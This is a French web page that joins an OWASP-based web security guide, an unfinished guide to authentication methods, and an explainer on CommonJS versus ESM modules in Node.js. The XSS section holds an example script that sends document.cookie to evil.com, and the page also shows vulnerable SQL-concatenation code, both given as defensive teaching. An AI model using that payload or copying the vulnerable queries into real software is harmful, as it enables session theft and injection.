Guide complet de la sécurité des applications web

Guide pédagogique et pratique basé sur l’OWASP (Top 10, ASVS, Cheat Sheets) et les bonnes pratiques reconnues en sécurité applicative.

Ce document a pour objectif de fournir une compréhension exhaustive de la sécurité des applications web modernes, incluant :

  • Frontend (SPA, web, mobile)
  • Backend API (REST / GraphQL)
  • Authentification et autorisation
  • Bases de données, ORM et persistance
  • Sécurité par conception (Secure by Design)

1. Modèle mental de la sécurité web

La sécurité applicative repose sur quatre piliers fondamentaux :

  1. Authentification : Qui est l’utilisateur ?
  2. Autorisation : Que peut-il faire ?
  3. Confidentialité : Les données sont-elles protégées ?
  4. Intégrité & disponibilité : Le système est-il fiable et accessible ?

Toute attaque vise à affaiblir, contourner ou casser au moins un de ces piliers.

Principe fondamental :
Tout ce qui vient du client est hostile par défaut.


2. Architecture moderne : Frontend + API

```
[ Navigateur / Application mobile ] HTTPS + Token (JWT / OAuth2) v [ API Backend ]

v [ Base de données ]


### Règles essentielles

- Le frontend **n’est jamais digne de confiance**
- Toutes les validations de sécurité doivent être faites côté backend
- Le réseau est considéré comme compromis
- L’API doit être sécurisée indépendamment du frontend

---

## 3. OWASP Top 10 – Vue d’ensemble

Les vulnérabilités les plus critiques selon l’OWASP :

1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery (SSRF)

Ces catégories couvrent **l’immense majorité des failles critiques observées en production**.

---

## 4. Broken Access Control (Contrôle d’accès cassé)

### Description

Le backend ne vérifie pas correctement **ce que l’utilisateur est autorisé à faire**.

### Exemples d’attaques

- Accès aux données d’un autre utilisateur :

GET /api/users/42

  • Modification de privilèges via un champ JSON
  • Accès à des routes administrateur sans droits

Causes fréquentes

  • Absence de contrôle serveur
  • Confiance dans le frontend
  • Règles d’accès dispersées dans le code

Contremesures

  • Vérifier les autorisations à chaque requête
  • Centraliser les règles d’accès
  • Implémenter RBAC (roles) ou ABAC (attributs)
if ($user->id !== $resource->owner_id) {
    throw new ForbiddenException();
}

5. Injection (SQL, NoSQL, Command, LDAP…)

Description

Une injection survient lorsque des données utilisateur sont interprétées comme du code.


SQL Injection

❌ Code vulnérable :

SELECT * FROM users WHERE email = '$email'

✅ Code sécurisé :

SELECT * FROM users WHERE email = ?

Injections et ORM

Les ORM réduisent le risque, mais ne le suppriment pas.

❌ Dangereux :

$qb->where("u.email = '$email'");

✅ Sécurisé :

$qb->where('u.email = :email')
   ->setParameter('email', $email);

Contremesures générales

  • Requêtes préparées uniquement
  • Aucune concaténation dynamique
  • Validation stricte des types
  • Principe du moindre privilège côté DB

6. XSS – Cross-Site Scripting

Description

Injection de JavaScript malveillant exécuté dans le navigateur de la victime.

Exemple

<script>
fetch('https://evil.com/steal?c=' + document.cookie)
</script>

Types de XSS

  • Stored XSS (persistant en base)
  • Reflected XSS
  • DOM-based XSS

Contremesures

  • Échapper toutes les sorties HTML
  • Utiliser des frameworks avec auto-escaping
  • Activer les headers de sécurité
Content-Security-Policy
X-Content-Type-Options

7. Cryptographic Failures

Problèmes fréquents

  • Données sensibles non chiffrées
  • Algorithmes obsolètes (MD5, SHA1)
  • Mauvaise gestion des clés

Bonnes pratiques

  • HTTPS (TLS 1.2+)
  • Chiffrement au repos
  • Rotation des clés
  • Secrets hors du code source

8. Authentification cassée

Vulnérabilités courantes

  • Mots de passe faibles
  • Pas de limitation de tentatives
  • Sessions infinies

Bonnes pratiques

  • Hash fort (bcrypt, argon2)
  • MFA si possible
  • Politique de mots de passe
  • Verrouillage temporaire
password_hash($password, PASSWORD_ARGON2ID);

9. JWT et tokens

Erreurs fréquentes

  • JWT sans expiration
  • Secret faible
  • Données sensibles dans le payload

Bonnes pratiques

  • Champs obligatoires : exp, iat, iss, aud
  • Signature asymétrique (RS256)
  • Tokens courts + refresh tokens

10. CSRF – Cross-Site Request Forgery

Description

Un utilisateur authentifié exécute une action sans le vouloir.

Contremesures

  • Tokens CSRF
  • Cookies SameSite=Strict
  • APIs stateless avec header Authorization

11. Sécurité des API REST

Bonnes pratiques

  • HTTPS obligatoire
  • Authentification sur toutes les routes
  • Rate limiting
  • Pagination
  • Validation stricte des entrées
HTTP/1.1 429 Too Many Requests

12. Sécurité des bases de données

Bonnes pratiques

  • Compte DB non-root
  • Droits minimaux
  • Séparation lecture / écriture
  • Sauvegardes chiffrées

Chiffrement

  • Données sensibles chiffrées
  • Clés stockées hors application

13. Logs et monitoring

Importance

Une attaque non détectée est une attaque réussie.

À journaliser

  • Échecs d’authentification
  • Accès refusés
  • Actions sensibles

⚠️ Ne jamais loguer :

  • Mots de passe
  • Tokens
  • Données personnelles

14. Sécurité du frontend

Réalités

  • Code visible
  • API exposée
  • Attaques automatisées

Bonnes pratiques

  • Aucun secret côté frontend
  • CSP stricte
  • Validation UX ≠ validation sécurité

15. Sécurité par conception (Secure by Design)

Principes fondamentaux

  • Least Privilege
  • Fail Secure
  • Defense in Depth
  • Zero Trust
  • Secure Defaults

16. Checklist de sécurité

  • [ ] HTTPS partout
  • [ ] Authentification forte
  • [ ] Autorisation systématique
  • [ ] Requêtes préparées
  • [ ] Logs et alertes
  • [ ] Dépendances à jour
  • [ ] Tests de sécurité

17. Pour aller plus loin

  • OWASP ASVS
  • OWASP Cheat Sheets
  • Threat Modeling (STRIDE)
  • SAST / DAST
  • Pentests réguliers

La sécurité n’est pas un état, mais un processus continu.

Guide des mécanismes d’authentification dans les applications Web modernes

Ce document présente les mécanismes d’authentification utilisés dans les applications web modernes, leurs avantages, inconvénients, domaines d’usage, ainsi que les bonnes pratiques de sécurité issues des recommandations de l’OWASP et des standards actuels.


1. Qu’est-ce que l’OWASP ?

Présentation

OWASP (Open Worldwide Application Security Project) est une organisation internationale à but non lucratif dédiée à l’amélioration de la sécurité des applications web et logicielles.

Elle fournit :

  • des guides de bonnes pratiques,
  • des standards de sécurité,
  • des outils open source,
  • des référentiels reconnus mondialement.

L’OWASP est indépendante des éditeurs et des technologies, ce qui rend ses recommandations largement adoptées dans l’industrie.

OWASP Top 10

Le document le plus connu est le OWASP Top 10, qui recense les dix catégories de vulnérabilités les plus critiques. Plusieurs concernent directement l’authentification et la gestion des identités, notamment :

  • Authentification défaillante,
  • Mauvaise gestion des sessions,
  • Contrôles d’accès cassés,
  • Exposition de données sensibles.

Principe fondamental OWASP

Le client (navigateur, SPA, application mobile) ne doit jamais être considéré comme fiable.

Toute logique de sécurité doit être implémentée et validée côté serveur.


2. Concepts fondamentaux

Authentification vs autorisation

  • L’authentification consiste à vérifier l’identité d’un utilisateur ou d’un système.
  • L’autorisation consiste à vérifier ce que cet utilisateur ou système est autorisé à faire.

Une application sécurisée doit traiter ces deux notions séparément.


3. Authentification par session et cookies (Web traditionnel)

Principe

Après la saisie d’un identifiant et d’un mot de passe, le serveur crée une session et transmet un identifiant de session au navigateur via un cookie HTTP.
Le navigateur renvoie automatiquement ce cookie à chaque requête suivante.

Avantages

  • Mécanisme simple et éprouvé,
  • Excellente intégration avec les navigateurs,
  • Contrôle total côté serveur,
  • Facile à mettre en œuvre dans les applications web traditionnelles.

Inconvénients

  • Peu adapté aux API REST,
  • Scalabilité plus complexe en environnement distribué,
  • Fortement couplé au navigateur.

Sécurité (OWASP)

  • Protection contre les attaques CSRF obligatoire,
  • Cookies configurés avec HttpOnly, Secure et SameSite,
  • Invalidation systématique des sessions à la déconnexion.

4. Authentification HTTP Basic

Principe

Les identifiants sont envoyés à chaque requête HTTP via l’en-tête Authorization, encodés en Base64.

Avantages

  • Très simple à implémenter,
  • Supporté nativement par HTTP,
  • Utile pour des tests ou des usages temporaires.

Inconvénients

  • Aucun mécanisme de session,
  • Le mot de passe est transmis à chaque requête,
  • Sécurité entièrement dépendante de HTTPS.

Recommandation

Cette méthode est déconseillée en production pour des utilisateurs finaux.


5. JWT (JSON Web Token)

Principe

Le serveur délivre un token signé contenant des informations appelées claims.
Le token est auto-contenu et peut être vérifié sans accès à une base de données.

Avantages

  • Stateless,
  • Très scalable,
  • Compatible avec SPA, applications mobiles et microservices,
  • Standard largement adopté.

Inconvénients

  • Révocation complexe,
  • Risques importants en cas de mauvaise implémentation,
  • Sécurité fortement dépendante du mode de stockage côté client.

Recommandations OWASP

  • Ne jamais stocker un JWT dans localStorage,
  • Préférer les cookies HttpOnly côté navigateur,
  • Utiliser des tokens de courte durée,
  • Mettre en place des refresh tokens,
  • Ne jamais stocker de données sensibles dans le token.

6. Authentification par token opaque

Principe

Le serveur génère un token aléatoire sans signification intrinsèque.
Ce token est stocké côté serveur et vérifié à chaque requête.

Avantages

  • Révocation simple,
  • Aucune donnée exposée côté client,
  • Plus sûr que les JWT dans certains contextes.

Inconvénients

  • Vérification serveur nécessaire à chaque requête,
  • Moins performant que les JWT à très grande échelle.

7. Cas d’usage : authentification dans une SPA (frontend)

Problématique

Une application frontend (React, Vue, Angular, etc.) ne peut pas protéger un secret.
Tout code exécuté côté client est potentiellement accessible ou modifiable.

Bonnes pratiques

  • Authentification réalisée via une API backend,
  • Stockage du token :
    • Cookie HttpOnly (recommandé),
    • Mémoire volatile (state JavaScript),
  • Protection contre les attaques XSS, CSRF et le rejeu de tokens.

Reco

CommonJS vs ECMAScript (ESM)

📘 Comprendre les fichiers .mjs dans Node.js

🧩 1. .mjs, c’est quoi ?

Un fichier .mjs est un module ECMAScript — c’est-à-dire un fichier JavaScript utilisant la syntaxe moderne des imports et exports, comme celle des navigateurs.

// fichier.mjs
import express from "express";
import { maFonction } from "./utils.mjs";

export const app = express();

👉 L’extension .mjs indique à Node.js que le fichier doit être interprété en mode ESM (ECMAScript Module)
et non en CommonJS (le système historique de Node).


⚙️ 2. Contexte historique

Avant 2020, Node.js utilisait uniquement le système CommonJS :

const express = require("express");
module.exports = app;

Mais depuis Node.js 14+, il supporte aussi les modules ECMAScript (mêmes modules que les navigateurs).

Pour éviter toute ambiguïté, Node a introduit une distinction stricte entre :

  • .js (fichiers interprétés comme CommonJS par défaut)
  • .mjs (fichiers interprétés comme modules ECMAScript)

⚙️ 3. Les deux systèmes de modules

Aspect CommonJS (.js) ESM (.mjs ou type: "module")
Importation const X = require("x") import X from "x"
Exportation module.exports = X export default X
Chargement Synchrone Asynchrone
Scope Global par fichier Strict (par module)
Compatibilité historique ✅ Node.js classique ✅ Node 14+
Syntaxe moderne ❌ Non ✅ Oui

🧠 4. Exemple comparatif

🟠 CommonJS (.js)

// utils.js
const sum = (a, b) => a + b;
module.exports = { sum };

// app.js
const { sum } = require("./utils.js");
console.log(sum(2, 3));

🔵 ECMAScript (.mjs)

// utils.mjs
export function sum(a, b) {
  return a + b;
}

// app.mjs
import { sum } from "./utils.mjs";
console.log(sum(2, 3));

🧩 5. Et si je veux rester en .js ?

Tu peux utiliser la syntaxe import/export sans passer en .mjs
en ajoutant ce paramètre dans ton package.json :

{
  "type": "module"
}

➡️ Dans ce cas, tous les fichiers .js du projet sont interprétés comme des modules ESM.
Tu n’as donc plus besoin de .mjs.

⚠️ Mais attention :

  • Tu ne pourras plus utiliser require() ni module.exports directement.
  • Tu devras tout passer en import/export.

🧱 6. Quand utiliser .mjs plutôt que .js ?

Situation Recommandation
Petit projet Node classique (Express, Mongo, etc.) ✅ Reste en .js (CommonJS)
Projet moderne, TypeScript, ou compatible navigateur ✅ Utilise .mjs ou "type": "module"
Tu veux mélanger les deux systèmes ⚠️ Possible mais à éviter
Librairie NPM moderne à publier .mjs recommandé pour compatibilité ESM

🧩 7. Mélanger CommonJS et ESM (cas avancé)

Il est possible de mélanger les deux, mais c’est souvent source de confusion.

Exemple :

  • main.mjs (ESM) peut importer du CommonJS :
    import pkg from "./legacy.js";
  • legacy.js (CommonJS) peut importer un ESM avec import() dynamique :
    const module = await import("./modern.mjs");

Mais cela complique la maintenance : le mieux est de choisir un seul style.


✅ 8. En résumé

Élément .js (CommonJS) .mjs (ESM)
Import require() import
Export module.exports export
Système Ancien (Node) Standard ECMAScript
Compatibilité Universelle Moderne
Recommandé en 2025 ⚙️ pour rétrocompatibilité 🟢 pour les projets modernes

💡 En clair :

  • .js = modules CommonJS (require, module.exports)
  • .mjs = modules ECMAScript (import, export)
  • Tu peux aussi garder .js et déclarer "type": "module" dans ton package.json si tu veux la syntaxe moderne partout.

404

Not Found